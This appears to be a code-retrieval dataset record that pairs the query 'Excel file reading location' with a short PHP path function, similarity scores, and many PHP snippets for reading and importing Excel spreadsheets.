[ "0.81169504", "0.7695263", "0.73953694", "0.7147125", "0.70106834", "0.6851535", "0.6537103", "0.64620006", "0.6458268", "0.6410458", "0.6235407", "0.6222734", "0.6075512", "0.60478544", "0.5781547", "0.5679975", "0.56089044", "0.5582614", "0.55797607", "0.55493945", "0.5493747", "0.5455016", "0.54003996", "0.5399427", "0.538568", "0.5369134", "0.53660315", "0.5328715", "0.52976656", "0.5263456", "0.5252973", "0.5231453", "0.5221184", "0.52151316", "0.52077234", "0.51980007", "0.5193653", "0.5190841", "0.5128321", "0.511095", "0.5106004", "0.5085643", "0.5082218", "0.5067891", "0.50555134", "0.5037587", "0.5017704", "0.49995443", "0.49864736", "0.49852437", "0.4977161", "0.496731", "0.49617532", "0.4958849", "0.49507743", "0.49387455", "0.49356085", "0.49311307", "0.49130464", "0.4911265", "0.4909111", "0.49052545", "0.48813325", "0.48770377", "0.487547", "0.4862294", "0.48502737", "0.4842157", "0.4840776", "0.4840351", "0.48375753", "0.4827963", "0.48278275", "0.48263276", "0.48198938", "0.48155597", "0.4814827", "0.48123503", "0.47998276", "0.47983772", "0.4788124", "0.47807017", "0.47807017", "0.47726488", "0.47697562", "0.4756882", "0.47568464", "0.4755286", "0.4750619", "0.47452888", "0.47413924", "0.4733856", "0.4730198", "0.47061414", "0.47056848", "0.46980774", "0.4695581", "0.4695099", "0.46919584", "0.46870387", "0.46863797" ]
0.0
-1
Excel file reading location
public static function fileReadingLocation() { return '/app/public/excels/'; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function importExcel($path);", "public function getFile() {\n // Import a user provided file\n\n $file = Input::file('spreadsheet');\n\n $filename = time() . '_' . $file->getClientOriginalName();\n\n $file = $file->move('uploads/csv/', $filename);\n\n // Return it's location\n return $file->getPathname();\n }", "function ReadExcelSheet($filename) {\n \n// if($fileExtension==='xls'){\n try{\n $excel = new PhpExcelReader; // creates object instance of the class\n $excel->read($filename); \n $excel_data = ''; // to store the the html tables with data of each sheet \n $excel_data .= '<h4> ' . ('') . ' <em>' . '' . '</em></h4>' . $this->AddDatatoDB($excel->sheets[0],$filename) . '<br/>';\n }\n catch(Exception $e ){\n print_r('Exception:::'.$e->getMessage());\n }\n// }\n// else {\n// //\"The file with extension \".$fileExtension.\" is still not allowed at the moment.\");\n// }\n }", "private function getFileActiveSheet() {\n\t\t$file = $this->spreadsheetImport->getFile()->createTemporaryLocalCopy();\n\t\t$reader = \\PHPExcel_IOFactory::load($file);\n\t\t$sheet = $reader->getActiveSheet();\n\t\treturn $sheet;\n\t}", "public function getFilePath() {\n\t\t$path = SPREADSHEET_FILES_DIR . \"/\" . $this->file_name;\n\t\tif (file_exists($path)) {\n\t\t\treturn $path;\n\t\t}\n\t}", "public function read_data_from()\n {\n $post = json_decode( file_get_contents('php://input') );\n $this->load->helper('xlsx');\n $sheets = readXlsx(FCPATH.$post->path,NULL);\n $i=0;\n foreach ($sheets as $key => $sheet) {\n $i++;\n $j=0;\n foreach ($sheet->getRowIterator() as $row) {\n $this->setRowSabana( $row );\n $j++;\n if($j > 100000)\n break;\n }\n }\n }", "private function readExcel($fileName){\n\t\t$inputFileType = PHPExcel_IOFactory::identify($fileName);\n\t\t/** Create a new Reader of the type that has been identified **/\n\t\t$reader = PHPExcel_IOFactory::createReader($inputFileType);\n\t\t$reader->setReadDataOnly(true);\n\t\t$objExcel = $reader->load($fileName);\n\t\treturn $objExcel;\n\t}", "private function getActiveSheet() {\n\t\treturn $this->workbook->getActiveSheet();\n\t}", "public function getExcelFile()\n {\n if( $this->use_excel_personer ) {\n return $this->getExcelFilePersoner();\n }\n \n $excel = new Excel(\n $this->getNavn() . ' oppdatert ' . date('d-m-Y') . ' kl '. date('Hi') . ' - ' . $this->getArrangement()->getNavn(),\n $this->getRenderDataInnslag(),\n $this->getConfig()\n );\n return $excel->writeToFile();\n }", "function importExecl($inputFileName) {\n if (!file_exists($inputFileName)) {\n echo \"error\";\n return array(\"error\" => 0, 'message' => 'file not found!');\n }\n //vendor(\"PHPExcel.PHPExcel.IOFactory\",'','.php'); \n vendor(\"PhpExcel.PHPExcel\", '', '.php');\n vendor(\"PhpExcel.PHPExcel.IOFactory\", '', '.php');\n //'Loading file ', pathinfo( $inputFileName, PATHINFO_BASENAME ),' using IOFactory with a defined reader type of ',$inputFileType,'<br />';\n $fileType = \\PHPExcel_IOFactory::identify($inputFileName); //文件名自动判断文件类型\n $objReader = \\PHPExcel_IOFactory::createReader($fileType);\n // $objReader = \\PHPExcel_IOFactory::createReader('Excel5');\n $objPHPExcel = $objReader->load($inputFileName);\n $sheet = $objPHPExcel->getSheet(0);\n $highestRow = $sheet->getHighestRow(); //取得总行数\n $highestColumn = $sheet->getHighestColumn(); //取得总列\n $highestColumnIndex = \\PHPExcel_Cell::columnIndexFromString($highestColumn); //总列数\n for ($row = 2; $row <= $highestRow; $row++) {\n $strs = array();\n //注意highestColumnIndex的列数索引从0开始\n for ($col = A; $col <= $highestColumn; $col++) {\n $strs[$col] = $sheet->getCell($col . $row)->getValue();\n }\n $arr[] = $strs;\n }\n return $arr;\n}", "function read_data($file) {\t\t\n\t\t $this->loadFile($file);\n\t\t return $this->extract_data($this->objPHPExcel->getActiveSheet());\n }", "public static function wdtFileReadingLocation()\n {\n return '/app/public/excels/wdt/';\n }", "public function ExcelFile($file_path)\n {\n $inputFileType = PHPExcel_IOFactory::identify($file_path);\n /* Create a new Reader of the type defined in $inputFileType */\n $objReader = PHPExcel_IOFactory::createReader($inputFileType);\n $objPHPExcel = $objReader->load($file_path);\n $cell_collection = $objPHPExcel->getActiveSheet()->getCellCollection();\n //extract to a PHP readable array format\n foreach ($cell_collection as $cell) {\n $column = $objPHPExcel->getActiveSheet()->getCell($cell)->getColumn();\n $row = $objPHPExcel->getActiveSheet()->getCell($cell)->getRow();\n $data_value = $objPHPExcel->getActiveSheet()->getCell($cell)->getValue();\n //header will/should be in row 1 only. of course this can be modified to suit your need.\n if ($row == 1) {\n $header[$row][$column] = $data_value;\n } else {\n $arr_data[$row][$column] = $data_value;\n }\n }\n //send the data in an array format\n $data['header'] = $header;\n $data['values'] = $arr_data;\n return $arr_data;\n }", "public function readExcel($file){\n\t$objPHPExcel = PHPExcel_IOFactory::load($file);\n $cell_collection = $objPHPExcel->getActiveSheet()->getCellCollection();\n foreach ($cell_collection as $cell) {\n $column = $objPHPExcel->getActiveSheet()->getCell($cell)->getColumn();\n //$colNumber = PHPExcel_Cell::columnIndexFromString($colString);\n $row = $objPHPExcel->getActiveSheet()->getCell($cell)->getRow();\n $data_value = $objPHPExcel->getActiveSheet()->getCell($cell)->getValue();\n $arr_data[$row][$this->toNumber($column)-1] = $data_value;\n \t}\n\n return ($arr_data);\n }", "private static function filePath($num) {\n $tmpDir = ini_get('upload_tmp_dir') ?: sys_get_temp_dir();\n return Util::joinPath([$tmpDir, \"new_tz_\".date(\"y\").\"_\".$num.\".xls\"]);\n }", "private function getRawData() {\n $phpExcelPath = Yii::getPathOfAlias('ext.phpexcel.Classes');\n // Turn off YII library autoload\n spl_autoload_unregister(array('YiiBase','autoload'));\n \n // PHPExcel_IOFactory\n require_once $phpExcelPath.'/PHPExcel/IOFactory.php';\n \n $objPHPExcel = PHPExcel_IOFactory::load($this->fileName);\n $ws = $objPHPExcel->getSheet(0); // process only FIRST sheet\n \n $emptyRows = 0;\n $row = 1;\n $result = array();\n while ($emptyRows < 5) { // 5 empty rows denote end of file\n $empty = TRUE;\n $content = array();\n foreach (range('A', 'Z') as $col) {\n $value = $this->getCellValue($ws, \"$col$row\");\n if (!empty($value)) {\n $empty = FALSE;\n }\n $content[] = $value;\n }\n if ($empty) {\n $emptyRows ++;\n }\n else {\n $emptyRows = 0;\n $result[] = $content; \n }\n $row++;\n }\n \n // Once we have finished using the library, give back the\n // power to Yii...\n spl_autoload_register(array('YiiBase','autoload'));\n \n return $result;\n }", "abstract protected function excel ();", "public function read($pathName)\n {\n $this->filename = basename($pathName);\n $this->getTypeByExtension();\n if (!$this->isExcel2007Export()) {\n throw new \\PHPExcel_Exception('Extension file is not supported.');\n }\n // Création du Reader\n $objReader = new \\PHPExcel_Reader_Excel2007();\n // Chargement du fichier Excel\n $this->phpExcelObject = $objReader->load($pathName);\n }", "public function readFile()\r\n {\r\n\r\n $fileName_FaceBook = Request::all();\r\n\r\n //dd($fileName_FaceBook['From']);\r\n //dd($fileName_FaceBook);\r\n\r\n $dateStart = Carbon::parse($fileName_FaceBook['dateStartFrom']);\r\n $dateEnd = Carbon::parse($fileName_FaceBook['dateEndsTo']);\r\n\r\n dump($dateStart);\r\n dump($dateEnd);\r\n\r\n // The object returned by the file method is an instance of the Symfony\\Component\\HttpFoundation\\File\\UploadedFile\r\n\r\n $path = $fileName_FaceBook['fileName_FaceBook']->getRealPath();\r\n $name =$fileName_FaceBook['fileName_FaceBook']->getClientOriginalName();\r\n //dump($fileName_FaceBook['fileName_FaceBook']->getClientOriginalName());\r\n\r\n $this->readMetricsFromCSV($path, $dateStart, $dateEnd);\r\n\r\n\r\n }", "function rawpheno_open_file($file) {\n // Grab the path and extension from the file.\n $xls_file = drupal_realpath($file->uri);\n $xls_extension = pathinfo($file->filename, PATHINFO_EXTENSION);\n\n // Validate that the spreadsheet is either xlsx or xls and open the spreadsheet using\n // the correct class.\n // XLSX:\n if ($xls_extension == 'xlsx') {\n $xls_obj = new SpreadsheetReader_XLSX($xls_file);\n }\n // XLS:\n elseif ($xls_extension == 'xls') {\n // PLS INCLUDE THIS FILE ONLY FOR XLS TYPE.\n $xls_lib = libraries_load('spreadsheet_reader');\n $lib_path = $xls_lib['path'];\n\n include_once $lib_path . 'SpreadsheetReader_XLS.php';\n $xls_obj = new SpreadsheetReader_XLS($xls_file);\n }\n\n return $xls_obj;\n}", "public function getFilePath();", "public function getFilePath();", "public function getFilePath();", "public function getFilePath();", "public function getSheet()\n {\n return $this->sheet;\n }", "public function getFileLocation()\n {\n return $this->fileLocation;\n }", "public function importxls()\n\t{\n\t\tif( $this->import_start() )\n\t\t{\n\t\t\t$xls\t\t= $this->file['tmp_name'];\n\t\t\t$objPHPExcel\t= PHPExcel_IOFactory::load($xls);\n\t\t\t$sht\t\t= $objPHPExcel->getActiveSheet();\n\n\t\t\t$highestColumm\t= $sht->getHighestDataColumn();\n\t\t\t$highestRow\t= $sht->getHighestDataRow();\n\t\t\t$range\t\t= \"A1:\".$highestColumm.$highestRow;\n\n\t\t\t$rows\t\t= $sht->rangeToArray($range);\n\t\t\t$model\t\t= $this->getModel('HelloImport');\t\t//for db read/write\n\t\t\t$this->ok\t= $model->importItems($rows);\n\t\t}\n\t\t$this->import_finish();\n\t\treturn;\n\t}", "public function getExcelFilePersoner()\n {\n $excel = new ExcelPersoner(\n $this->getNavn() . ' oppdatert ' . date('d-m-Y') . ' kl '. date('Hi') . ' - ' . $this->getArrangement()->getNavn(),\n $this->getRenderDataPersoner(),\n $this->getConfig()\n );\n return $excel->writeToFile();\n }", "function preview_file(){\n\t\t\n\t\t/** Set default timezone (will throw a notice otherwise) */\n\t\tdate_default_timezone_set('Asia/Bangkok');\n\t\t/** PHPExcel */\n\t\tinclude (\"plugins/PHPExcel/Classes/PHPExcel.php\");\n\t\t/** PHPExcel_IOFactory - Reader */\n\t\tinclude (\"plugins/PHPExcel/Classes/PHPExcel/IOFactory.php\");\n\t\t\t\n\n\t\tif(isset($_FILES['uploadfile']['name'])){\n\t\t\t$file_name = $_FILES['uploadfile']['name'];\n\t\t\t$ext = pathinfo($file_name, PATHINFO_EXTENSION);\n\t\t\t\n\t\t\t//echo \": \".$file_name; //die;\n\t\t\t//Checking the file extension (ext)\n\t\t\tif($ext == \"xlsx\" || $ext == \"xls\"){\n\t\t\t\t$Path = 'uploads/payment';\t\n\t\t\t\t$filename =$Path.'/'.$file_name;\n\t\t\t\tcopy($_FILES['uploadfile']['tmp_name'],$filename);\t\n\t\t\t\t\n\t\t\t\t$inputFileName = $filename;\n\t\t\t\t//echo $inputFileName;\n\t\t\t\t\n\t\t\t/**********************PHPExcel Script to Read Excel File**********************/\n\t\t\t\t// Read your Excel workbook\n\t\t\t\ttry {\n\t\t\t\t\t//echo \"try\".$inputFileName;\n\t\t\t\t\t$inputFileType = PHPExcel_IOFactory::identify($inputFileName); //Identify the file\n\t\t\t\t\t$objReader = PHPExcel_IOFactory::createReader($inputFileType); \n\t\t\t\t\t$objReader->setReadDataOnly(true);\n\t\t\t\t\t//Creating the reader\n\t\t\t\t\t$objPHPExcel = $objReader->load($inputFileName); //Loading the file\n\t\t\t\t\t//echo \"จบ try นะ\";\n\t\t\t\t\t\n\t\t\t\t} catch (Exception $e) {\n\t\t\t\t\techo \"<pre>\";\n\t\t\t\t\tprint_r($e);\n\t\t\t\t\techo \"</pre>\";\n\t\t\t\t\tdie('Error loading file \"' . pathinfo($inputFileName, PATHINFO_BASENAME) \n\t\t\t\t\t. '\": ' . $e->getMessage());\n\t\t\t\t}\n\n\t\t\t\t//ข้อมูลนำเข้า\n\t\t\t\t$this->data[\"im_exam\"] = $this->input->post(\"im_exam\");\t \t\t//ประเภทการสอบ\n\t\t\t\t$this->data[\"im_edu_bgy\"] = $this->input->post(\"im_edu_bgy\");\t \t//ปีการศึกษา\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t/* start ROW && COLUMN */\n\t\t\t\t$sheet_active = 0;\n\t\t\t\t$start_row = 2;\n\t\t\t\t$start_col = 'A';\t\n\t\t\t\t\n\t\t\t\t// Get worksheet dimensions\n\t\t\t\t$sheet = $objPHPExcel->getSheet($sheet_active); //Selecting sheet 0\t\t\t\t\n\t\t\t\t$highestRow = $sheet->getHighestRow(); \t\t//Getting number of rows\n\t\t\t\t$highestColumn = $sheet->getHighestColumn(); //Getting number of columns\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$arr_data = array(); // per project 1 row\n\t\t\t\t\n\t\t\t\tfor ($row = $start_row; $row <= $highestRow; $row++) {\t\t\n\t\t\t\t\t//******** column A-H :: expend project *********//\n\t\t\t\t\t$column_key = $sheet->rangeToArray($start_col.$row.\":\".$highestColumn.$row, NULL, TRUE, FALSE);\n\t\t\t\t\t\n\t\t\t\t\tif(!empty($column_key)){\n\t\t\t\t\tforeach($column_key as $row_col){\n\t\t\t\t\t\t/***************** start expend **********************/\n\t\t\t\t\t\tif(!empty($row_col)){\n\t\t\t\t\t\t\t$pay_status\t\t= 2; \t//สถานะการชำระเงิน\n\t\t\t\t\t\t\t$pay_bill_no\t= \"\";\t//ref billNo\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$pay_date \t\t= \"0000-00-00\";\t\n\t\t\t\t\t\t\t$pay_amount\t\t= 0.00; //จำนวนเงินที่ชำระ\n\t\t\t\t\t\t\t$pay_receiver = \"\"; \t//ผู้รับชำระเงิน\n\t\t\t\t\t\t\t$pay_creator \t= \"\"; //ผู้บันทึก ต้องมาจาก login\n\t\t\t\t\t\tforeach($row_col as $key_col => $val_col){\n\t\t\t\t\t\t\t// แปลง index column เป็น name column\n\t\t\t\t\t\t\t$colIndex = PHPExcel_Cell::stringFromColumnIndex($key_col);\n\t\t\t\t\t\t\t//echo \"<br/>\".$key_col.\":\".$colIndex;\n\t\t\t\t\t\t\t$val_column = \"\";\n\t\t\t\t\t\t\tif($colIndex == \"C\"){ //วันที่จ่าย\n\t\t\t\t\t\t\t\t$val_date = date('d/m/Y', PHPExcel_Shared_Date::ExcelToPHP($sheet->getCell($colIndex.$row)->getValue()));\n\t\t\t\t\t\t\t\t$val_column = $val_date;\n\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t$val_column = $sheet->getCell($colIndex.$row)->getValue();\n\t\t\t\t\t\t\t\tif(empty($val_column) || $val_column == \"\"){\n\t\t\t\t\t\t\t\t\t$val_column = $val_col;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t//echo \"col:\".$colIndex.\" : \".$val_column.\"<br/>\";\n\t\t\t\t\t\t\t\t//echo \"==> \".$val_col.\"===> \".$val_column;\n\t\t\t\t\t\t\tif(!empty($val_column)){\n\t\t\t\t\t\t\t\tif($colIndex == \"B\") $pay_bill_no \t= $val_column;\n\t\t\t\t\t\t\t\tif($colIndex == \"C\") $pay_date \t\t= $val_column;\n\t\t\t\t\t\t\t\tif($colIndex == \"D\") $pay_amount \t= $this->remove_comma($val_column);\n\t\t\t\t\t\t\t\tif($colIndex == \"E\") $pay_receiver \t= $val_column;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}//end each row_col\n\t\t\t\t\t\t\n\t\t\t\t\t\t}//end each num_rows row_col\n\t\t\t\t\t\t/***************** end expend **********************/\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t}//end each column_key\n\t\t\t\t\t}//end each !empty column_key\n\t\t\t\t\t//if(file_exist($this->config->item(\"pbms_upload_dir\").$file_name)) {\n\t\t\t\t\t\t//echo $this->config->item(\"pbms_upload_dir\").$file_name;\n\t\t\t\t\t\t//unlink($this->config->item(\"pbms_upload_dir\").$file_name);\n\t\t\t\t\t//}\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t//splitDateFormTH($pay_date)\n\t\t\t\t\tarray_push($arr_data,array(\n\t\t\t\t\t\t\t\t\"arr_bill_no\" => $pay_bill_no,\n\t\t\t\t\t\t\t\t\"arr_date\" => $pay_date,\n\t\t\t\t\t\t\t\t\"arr_amount\" => $pay_amount,\n\t\t\t\t\t\t\t\t\"arr_receiver\" => $pay_receiver\n\t\t\t\t\t));\n\t\t\t\t}//end each row\n\t\t\t\t$this->data[\"section_txt\"] = \"ข้อมูลการชำระเงิน\";\t\n\t\t\t\t$this->data[\"rs_data\"] = $arr_data;\t\n\t\t\t\t$this->output(\"Payment/v_import_preview\", $this->data);\n\t\t\t\t\n\t\t\t}//end Checking file\n\t\t}//end isset file\n\t\t\n\t}", "public function importExecl($file) {\n if (!file_exists($file)) {\n return array(\"error\" => 0, 'message' => 'file not found!');\n }\n Vendor(\"PHPExcel.PHPExcel.IOFactory\");\n $objReader = \\PHPExcel_IOFactory::createReader('Excel5');\n try {\n $PHPReader = $objReader->load($file);\n } catch (Exception $e) {\n \n }\n if (!isset($PHPReader))\n return array(\"error\" => 0, 'message' => 'read error!');\n $allWorksheets = $PHPReader->getAllSheets();\n $i = 0;\n foreach ($allWorksheets as $objWorksheet) {\n $sheetname = $objWorksheet->getTitle();\n $allRow = $objWorksheet->getHighestRow(); //how many rows\n $highestColumn = $objWorksheet->getHighestColumn(); //how many columns\n $allColumn = \\PHPExcel_Cell::columnIndexFromString($highestColumn);\n $array[$i][\"Title\"] = $sheetname;\n $array[$i][\"Cols\"] = $allColumn;\n $array[$i][\"Rows\"] = $allRow;\n $arr = array();\n $isMergeCell = array();\n foreach ($objWorksheet->getMergeCells() as $cells) {//merge cells\n foreach (\\PHPExcel_Cell::extractAllCellReferencesInRange($cells) as $cellReference) {\n $isMergeCell[$cellReference] = true;\n }\n }\n for ($currentRow = 1; $currentRow <= $allRow; $currentRow++) {\n $row = array();\n for ($currentColumn = 0; $currentColumn < $allColumn; $currentColumn++) {\n ;\n $cell = $objWorksheet->getCellByColumnAndRow($currentColumn, $currentRow);\n $afCol = \\PHPExcel_Cell::stringFromColumnIndex($currentColumn + 1);\n $bfCol = \\PHPExcel_Cell::stringFromColumnIndex($currentColumn - 1);\n $col = \\PHPExcel_Cell::stringFromColumnIndex($currentColumn);\n $address = $col . $currentRow;\n $value = $objWorksheet->getCell($address)->getValue();\n if (substr($value, 0, 1) == '=') {\n return array(\"error\" => 0, 'message' => 'can not use the formula!');\n exit;\n }\n if ($cell->getDataType() == \\PHPExcel_Cell_DataType::TYPE_NUMERIC) {\n $cellstyleformat = $cell->getParent()->getStyle($cell->getCoordinate())->getNumberFormat();\n $formatcode = $cellstyleformat->getFormatCode();\n if (preg_match('/^([$[A-Z]*-[0-9A-F]*])*[hmsdy]/i', $formatcode)) {\n $value = gmdate(\"Y-m-d\", \\PHPExcel_Shared_Date::ExcelToPHP($value));\n } else {\n $value = \\PHPExcel_Style_NumberFormat::toFormattedString($value, $formatcode);\n }\n }\n if ($isMergeCell[$col . $currentRow] && $isMergeCell[$afCol . $currentRow] && !empty($value)) {\n $temp = $value;\n } elseif ($isMergeCell[$col . $currentRow] && $isMergeCell[$col . ($currentRow - 1)] && empty($value)) {\n $value = $arr[$currentRow - 1][$currentColumn];\n } elseif ($isMergeCell[$col . $currentRow] && $isMergeCell[$bfCol . $currentRow] && empty($value)) {\n $value = $temp;\n }\n $row[$currentColumn] = $value;\n }\n $arr[$currentRow] = $row;\n }\n $array[$i][\"Content\"] = $arr;\n $i++;\n }\n spl_autoload_register(array('Think', 'autoload')); //must, resolve ThinkPHP and PHPExcel conflicts\n unset($objWorksheet);\n unset($PHPReader);\n unset($PHPExcel);\n unlink($file);\n return array(\"error\" => 1, \"data\" => $array);\n }", "function loadFile(){\n GLOBAL $file_destination;\n $fileName = $file_destination;\n \n $objPHPExcel = PHPExcel_IOFactory::load($fileName);\n $worksheet = $objPHPExcel->getActiveSheet();\n\n $highestRow = $worksheet->getHighestRow();\n $highestColumnLetters = $worksheet->getHighestColumn();\n $highestColumn = PHPExcel_Cell::columnIndexFromString($highestColumnLetters); \n\n $productArray = array();\n\n for($i = 1; $i <= $highestRow; $i++){\n $element = $worksheet->getCellByColumnAndRow('A', $i)->getValue();\n\n if(is_string($element)){\n $productArray[$i] = $element;\n }\n }\n unlink($file_destination);\n \n return $productArray;\n }", "private function loadPhpExcel()\n {\n $objPHPExcel = PHPExcel_IOFactory::load($this->file);\n \n // TODO - pokud zadny list neexistuje\n foreach ($this->sheetNames as $sheetName) {\n $sheet = $objPHPExcel->getSheetByName($sheetName);\n if ($sheet == NULL) { continue; }\n \n $data = array();\n $highestColumn = $sheet->getHighestColumn();\n $highestRow = $sheet->getHighestRow();\n\n $header = $sheet->rangeToArray('A1:' . $highestColumn . 1);\n\n for ($row = 2; $row <= $highestRow; $row++) {\n $rowData = $sheet->rangeToArray('A' . $row . ':' . $highestColumn . $row, NULL, TRUE, TRUE);\n $data[] = array_combine(array_values($header[0]), array_values($rowData[0]));\n }\n\n $this->excelData[$sheetName] = $data;\n }\n \n if (empty($this->excelData)) {\n throw new Exception('Soubor neobsahuje relevantní data');\n }\n \n }", "public function DowloadExcel()\n {\n return $export->sheet('sheetName', function($sheet)\n {\n\n })->export('xls');\n }", "public function filePath();", "function saveExcelToLocalFile($objWriter){\r\n $filePath = '../tmp/saved_File.xlsx';\r\n $objWriter->save($filePath);\r\n return $filePath;\r\n}", "function gttn_tpps_xlsx_generator($location, array $options = array()) {\n $dir = drupal_realpath(GTTN_TPPS_TEMP_XLSX);\n $no_header = $options['no_header'] ?? FALSE;\n $columns = $options['columns'] ?? NULL;\n $max_rows = $options['max_rows'] ?? NULL;\n\n if (!empty($columns)) {\n $new_columns = array();\n foreach ($columns as $col) {\n $new_columns[$col] = $col;\n }\n $columns = $new_columns;\n }\n\n $zip = new ZipArchive();\n $zip->open($location);\n $zip->extractTo($dir);\n\n $strings_location = $dir . '/xl/sharedStrings.xml';\n $data_location = $dir . '/xl/worksheets/sheet1.xml';\n\n // Get width of the data in the file.\n $dimension = gttn_tpps_xlsx_get_dimension($data_location);\n preg_match('/([A-Z]+)[0-9]+:([A-Z]+)[0-9]+/', $dimension, $matches);\n $left_hex = unpack('H*', $matches[1]);\n $hex = $left_hex[1];\n $right_hex = unpack('H*', $matches[2]);\n\n $strings = gttn_tpps_xlsx_get_strings($strings_location);\n $reader = new XMLReader();\n $reader->open($data_location);\n\n if (!$no_header) {\n gttn_tpps_xlsx_get_row($reader, $strings);\n }\n\n $count = 0;\n while (($row = gttn_tpps_xlsx_get_row($reader, $strings))) {\n if (!empty($max_rows) and $count >= $max_rows){\n break;\n }\n $count++;\n\n $values = array();\n\n if (empty($columns)) {\n ksort($row);\n $hex = $left_hex[1];\n while (base_convert($hex, 16, 10) <= base_convert($right_hex[1], 16, 10)) {\n $key = pack('H*', $hex);\n $values[$key] = isset($row[$key]) ? trim($row[$key]) : NULL;\n $hex = gttn_tpps_increment_hex($hex);\n }\n yield $values;\n continue;\n }\n\n foreach ($columns as $column) {\n $values[$column] = isset($row[$column]) ? trim($row[$column]) : NULL;\n }\n yield $values;\n }\n\n $reader->close();\n gttn_tpps_rmdir($dir);\n}", "public function ext() {\n\t\treturn \"xls\";\n\t}", "private function mappingFileXls($path) {\n $spreadsheet = IOFactory::load($path);\n $sheetData = $spreadsheet->getActiveSheet()->toArray(null, true, true, true);\n $flipped = $this->array_transpose($sheetData);\n $mapping_form_results['rows'] = $sheetData;\n $mapping_form_results['columns'] = $flipped;\n\n return $mapping_form_results;\n\n }", "public function read($inputFileName) {\n\t\techo \"creating reader\".\"\\n\";\n\t\t$inputFileType = PHPExcel_IOFactory::identify($inputFileName);\n\t\t$reader = PHPExcel_IOFactory::createReader($inputFileType);\n\t\treturn $reader->load($inputFileName);\n\t}", "public function load($pFilename)\n\t{\n\t\t// Check if file exists\n\t\tif (!file_exists($pFilename)) {\n\t\t\tthrow new Exception(\"Could not open \" . $pFilename . \" for reading! File does not exist.\");\n\t\t}\n\n\t\t// Initialisations\n\t\t$excel = new PHPExcel;\n\t\t$excel->removeSheetByIndex(0);\n\n\t\t// Use ParseXL for the hard work.\n\t\t$this->_ole = new PHPExcel_Shared_OLERead();\n\n\t\t$this->_rowoffset = $this->_coloffset = 0;\n\t\t$this->_defaultEncoding = 'ISO-8859-1';\n\t\t$this->_encoderFunction = function_exists('mb_convert_encoding') ?\n\t\t\t'mb_convert_encoding' : 'iconv';\n\n\t\t// get excel data\n\t\t$res = $this->_ole->read($pFilename);\n\n\t\t// oops, something goes wrong (Darko Miljanovic)\n\t\tif($res === false) { // check error code\n\t\t\tif($this->_ole->error == 1) { // bad file\n\t\t\t\tthrow new Exception('The filename ' . $pFilename . ' is not readable');\n\t\t\t} elseif($this->_ole->error == 2) {\n\t\t\t\tthrow new Exception('The filename ' . $pFilename . ' is not recognised as an Excel file');\n\t\t\t}\n\t\t\t// check other error codes here (eg bad fileformat, etc...)\n\t\t}\n\n\t\t$this->_data = $this->_ole->getWorkBook();\n\t\t$this->_pos = 0;\n\t\t\n\t\t/**\n\t\t * PARSE WORKBOOK\n\t\t *\n\t\t **/\n\t\t$pos = 0;\n\t\t$code = ord($this->_data[$pos]) | ord($this->_data[$pos + 1]) << 8;\n\t\t$length = ord($this->_data[$pos + 2]) | ord($this->_data[$pos + 3]) << 8;\n\t\t$version = ord($this->_data[$pos + 4]) | ord($this->_data[$pos + 5]) << 8;\n\t\t$substreamType = ord($this->_data[$pos + 6]) | ord($this->_data[$pos + 7]) << 8;\n\n\n\t\tif (($version != self::XLS_BIFF8) && ($version != self::XLS_BIFF7)) {\n\t\t\treturn false;\n\t\t}\n\t\tif ($substreamType != self::XLS_WorkbookGlobals){\n\t\t\treturn false;\n\t\t}\n\t\t$pos += $length + 4;\n\t\t$code = ord($this->_data[$pos]) | ord($this->_data[$pos + 1]) << 8;\n\t\t$length = ord($this->_data[$pos + 2]) | ord($this->_data[$pos + 3]) << 8;\n\t\t$recordData = substr($this->_data, $pos + 4, $length);\n\t\t\n\t\twhile ($code != self::XLS_Type_EOF){\n\t\t\tswitch ($code) {\n\t\t\t\tcase self::XLS_Type_SST:\n\t\t\t\t\t/**\n\t\t\t\t\t * SST - Shared String Table\n\t\t\t\t\t *\n\t\t\t\t\t * This record contains a list of all strings used anywhere\n\t\t\t\t\t * in the workbook. Each string occurs only once. The\n\t\t\t\t\t * workbook uses indexes into the list to reference the\n\t\t\t\t\t * strings.\n\t\t\t\t\t *\n\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t **/\n\t\t\t\t\t// offset: 0; size: 4; total number of strings\n\t\t\t\t\t// offset: 4; size: 4; number of unique strings\n\t\t\t\t\t$spos = $pos + 4;\n\t\t\t\t\t$limitpos = $spos + $length;\n\t\t\t\t\t$uniqueStrings = $this->_GetInt4d($this->_data, $spos + 4);\n\t\t\t\t\t$spos += 8;\n\t\t\t\t\t// loop through the Unicode strings (16-bit length)\n\t\t\t\t\tfor ($i = 0; $i < $uniqueStrings; $i++) {\n\t\t\t\t\t\tif ($spos == $limitpos) {\n\t\t\t\t\t\t\t// then we have reached end of SST record data\n\t\t\t\t\t\t\t$opcode = ord($this->_data[$spos]) | ord($this->_data[$spos + 1])<<8;\n\t\t\t\t\t\t\t$conlength = ord($this->_data[$spos + 2]) | ord($this->_data[$spos + 3])<<8;\n\t\t\t\t\t\t\tif ($opcode != self::XLS_Type_CONTINUE) {\n\t\t\t\t\t\t\t\t// broken file, something is wrong\n\t\t\t\t\t\t\t\treturn -1;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$spos += 4;\n\t\t\t\t\t\t\t$limitpos = $spos + $conlength;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// Read in the number of characters in the Unicode string\n\t\t\t\t\t\t$numChars = ord($this->_data[$spos]) | (ord($this->_data[$spos + 1]) << 8);\n\t\t\t\t\t\t$spos += 2;\n\t\t\t\t\t\t// option flags\n\t\t\t\t\t\t$optionFlags = ord($this->_data[$spos]);\n\t\t\t\t\t\t$spos++;\n\t\t\t\t\t\t// bit: 0; mask: 0x01; 0 = compressed; 1 = uncompressed\n\t\t\t\t\t\t$asciiEncoding = (($optionFlags & 0x01) == 0) ;\n\t\t\t\t\t\t// bit: 2; mask: 0x02; 0 = ordinary; 1 = Asian phonetic\n\t\t\t\t\t\t$extendedString = 